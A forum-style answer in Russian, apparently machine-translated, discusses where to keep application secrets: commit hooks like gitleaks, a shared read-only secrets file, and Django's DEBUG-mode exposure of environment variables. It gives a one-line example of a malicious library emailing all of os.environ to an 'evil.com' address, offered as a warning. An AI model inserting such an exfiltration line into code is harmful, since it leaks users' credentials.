AFAICT, есть две причины, по которым люди рекомендуют хранить секреты в переменных среды:
- Слишком легко случайно зафиксировать секретные плоские файлы в репо. (А если это публичное репо, вы тост.)
- Это предотвращает беспорядок в паролях, то есть наличие одного и того же ключа во многих различных файлах каталога проекта само по себе представляет угрозу безопасности, поскольку разработчики в конечном итоге потеряют информацию о том, где находятся секреты.
Эти две проблемы можно решить лучше. Первое должно быть решено с помощью ловушки git commit, которая проверяет вещи, похожие на пароли (например, gitleaks ). Я бы хотел, чтобы Линус встроил такой инструмент в исходный код библиотеки git, но, увы, этого не произошло. (Излишне говорить, что секретные файлы всегда следует добавлять .gitignore
, но вам понадобится ловушка на случай, если кто-то забудет это сделать.)
Последнее можно решить, имея глобальный файл секретов компании, который в идеале хранится на общем диске, доступном только для чтения. Итак, в Python у вас может быть что-то вродеfrom company_secrets import *
.
Что еще более важно, как указывали другие, слишком легко взломать секреты, хранящиеся в переменных среды. Например, в Python автор библиотеки может вставитьsend_email(address="evil.person@evil.com", text=json.dumps(os.environ))
а затем вы выпустите тост за выполнение этого кода. Взломать гораздо сложнее, если в вашей системе есть файл с именем~/secret_company_stuff/.my_very_secret_company_stuff
.
Только для пользователей Django:
Django (в режиме DEBUG) показывает исходное значение переменной среды в браузере, если есть исключение (в режиме DEBUG). Это кажется очень небезопасным, если, например, разработчик случайно запускает рабочую среду DEBUG=True
. В отличие от этого , Django ДЕЛАЕТ запутать настройки пароля переменных путем поиска строк API
, TOKEN
, KEY
, SECRET
, PASS
или SIGNATURE
в фреймворка settings.py
имен переменных файла.